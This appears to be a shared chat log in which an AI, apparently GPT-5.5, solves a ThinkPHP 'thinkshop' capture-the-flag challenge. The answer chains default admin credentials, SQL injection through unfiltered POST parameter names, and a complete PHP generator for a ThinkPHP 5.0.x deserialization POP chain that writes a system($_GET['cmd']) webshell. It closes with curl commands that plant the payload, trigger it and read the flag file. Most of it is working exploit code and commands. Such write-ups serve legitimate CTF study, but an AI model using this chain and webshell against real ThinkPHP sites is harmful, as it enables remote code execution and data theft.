分析一下反序列化漏洞列,给出如何获取flag信息?
Créé le : 26 mai 2026
Répondu en utilisant GPT-5.5 Thinking par Chat01
Créé le : 26 mai 2026
Répondu en utilisant GPT-5.5 Thinking par Chat01
分析一下反序列化漏洞列,给出如何获取flag信息?
下面按这份 thinkshop_app.zip 的源码来分析,结论是:可以通过后台任意列名 SQL 注入把恶意序列化数据写入 goods.data,再访问商品详情触发 unserialize(),利用 ThinkPHP 5.0.21 POP 链写 WebShell,最后读 /fffflllaaaagggg。 附件本地的 flag 文件内容是占位值:flag=FLAG;真实题目环境一般读取同路径文件即可。
触发点在两个模板里:
phpunserialize(base64_decode($goods['data']))
分别位于:
textapplication/index/view/index/goods.html application/index/view/admin/goods_edit.html
Goods::getGoodsById() 只检查:
phpsubstr($data[0]['data'], 0, 3) !== "YTo"
这只是检查 base64 后是否以 YTo 开头,也就是序列化数组 a: 的 base64 前缀。绕过方式很简单:外层用数组包对象:
phpbase64_encode(serialize([恶意对象]))
这样 base64 一定以 YTo 开头,但数组内部仍然可以是对象。
ThinkPHP 5.0.x 的常见 POP 思路是通过 think\Model::__toString() 进入 toJson() / toArray(),再转到 think\console\Output::__call(),最终配合缓存驱动写文件;公开分析也指出 TP5.0.4–5.0.24 可使用这一类链条。(GitHub)
后台账号在 shop.sql 中:
textadmin / 123456
后台更新商品时调用:
phpUpdate::updatedata($data, 'goods', $data['id']);
它对 value 做了 bin2hex(),但 没有过滤 POST 的 key:
php$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
所以 POST 参数名可以注入 SQL。构造类似参数名:
sqldata`=unhex('PAYLOAD_HEX') WHERE `id`=1#
最终会把 goods.id=1 的 data 列改成你的恶意 base64 序列化 payload。
payload 目标:写入一个 WebShell:
php<?php system($_GET["cmd"]); ?>
生成器示例:
php<?php // gen_payload.php namespace think { abstract class Model implements \JsonSerializable, \ArrayAccess { protected $connection = []; protected $parent; protected $query; protected $name; protected $table; protected $class; protected $error; protected $validate; protected $pk; protected $field = []; protected $except = []; protected $disuse = []; protected $readonly = []; protected $visible = []; protected $hidden = []; protected $append = []; protected $data = []; protected $origin = []; protected $relation = []; protected $auto = []; protected $insert = []; protected $update = []; protected $autoWriteTimestamp; protected $createTime = 'create_time'; protected $updateTime = 'update_time'; protected $dateFormat; protected $type = []; protected $isUpdate = false; protected $replace = false; protected $force = false; protected $updateWhere; protected $failException = false; protected $useGlobalScope = true; protected $batchValidate = false; protected $resultSetType; protected $relationWrite; public function jsonSerialize(): mixed { return []; } public function offsetSet(mixed $a, mixed $b): void {} public function offsetExists(mixed $a): bool { return false; } public function offsetUnset(mixed $a): void {} public function offsetGet(mixed $a): mixed { return null; } } } namespace think\model { class Pivot extends \think\Model {} } namespace think\model\relation { class HasOne extends \think\model\Relation {} } namespace think\model { abstract class Relation { protected $parent; protected $model; protected $query; protected $foreignKey; protected $localKey; protected $baseQuery; protected $selfRelation; protected $bindAttr = []; } } namespace think\db { class Query { protected $connection; protected $builder; protected $model; } } namespace think\console { class Output { private $verbosity = 1; private $handle = null; protected $styles = ['info','error','comment','question','highlight','warning']; } } namespace think\session\driver { class Memcached { protected $handler = null; protected $config = []; } } namespace think\cache { abstract class Driver { protected $handler = null; protected $options = []; protected $tag; } } namespace think\cache\driver { class File extends \think\cache\Driver { protected $expire; } } namespace payload { function set_prop($obj, $prop, $val) { $ref = new \ReflectionClass($obj); while (!$ref->hasProperty($prop)) { $ref = $ref->getParentClass(); } $p = $ref->getProperty($prop); $p->setAccessible(true); $p->setValue($obj, $val); } $shell = '<?php system($_GET["cmd"]); ?>'; $prefix = base64_encode($shell); $file = new \think\cache\driver\File(); set_prop($file, 'tag', true); set_prop($file, 'options', [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => $prefix, 'path' => 'php://filter/convert.base64-decode/resource=./', 'data_compress' => false, ]); $sess = new \think\session\driver\Memcached(); set_prop($sess, 'handler', $file); set_prop($sess, 'config', [ 'host'=>'127.0.0.1', 'port'=>11211, 'expire'=>3600, 'timeout'=>0, 'session_name'=>'', 'username'=>'', 'password'=>'' ]); $out = new \think\console\Output(); set_prop($out, 'handle', $sess); set_prop($out, 'styles', ['info','error','comment','question','highlight','warning','getAttr']); $q = new \think\db\Query(); set_prop($q, 'model', $out); $rel = new \think\model\relation\HasOne(); set_prop($rel, 'query', $q); set_prop($rel, 'selfRelation', false); set_prop($rel, 'bindAttr', ['no_such_data_key' => 'x']); $pivot = new \think\model\Pivot(); set_prop($pivot, 'parent', $out); set_prop($pivot, 'error', $rel); set_prop($pivot, 'append', ['getError']); set_prop($pivot, 'data', []); $payload = base64_encode(serialize([$pivot])); echo $payload . PHP_EOL; echo "shell_path=/public/$prefix/3b58a9545013e88c7186db11bb158c44.php" . PHP_EOL; }
运行:
bashphp gen_payload.php
得到的第一行就是 PAYLOAD。然后转 hex:
bashPAYLOAD='生成器输出的第一行' HEX=$(echo -n "$PAYLOAD" | xxd -p -c 256)
登录后台:
bashcurl -i -c cookie.txt \ -d 'username=admin&password=123456' \ 'http://目标/public/index.php/index/admin/do_login'
把 payload 写入 goods.data:
bashcurl -i -b cookie.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary "id=1&name=a&price=1&on_sale_time=2023-01-01+00%3A00%3A00&image=a&data=x&data%60%3Dunhex%28%27${HEX}%27%29%20WHERE%20%60id%60%3D1%23=x" \ 'http://目标/public/index.php/index/admin/do_edit'
触发反序列化并写 WebShell:
bashcurl -i 'http://目标/public/index.php/index/index/goods/id/1'
读取 flag:
bashcurl 'http://目标/public/PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+/3b58a9545013e88c7186db11bb158c44.php?cmd=cat%20/fffflllaaaagggg'
如果是本地附件环境,/fffflllaaaagggg 的内容是:
textflag=FLAG
真实远程题目中同样读 /fffflllaaaagggg,返回值就是实际 flag。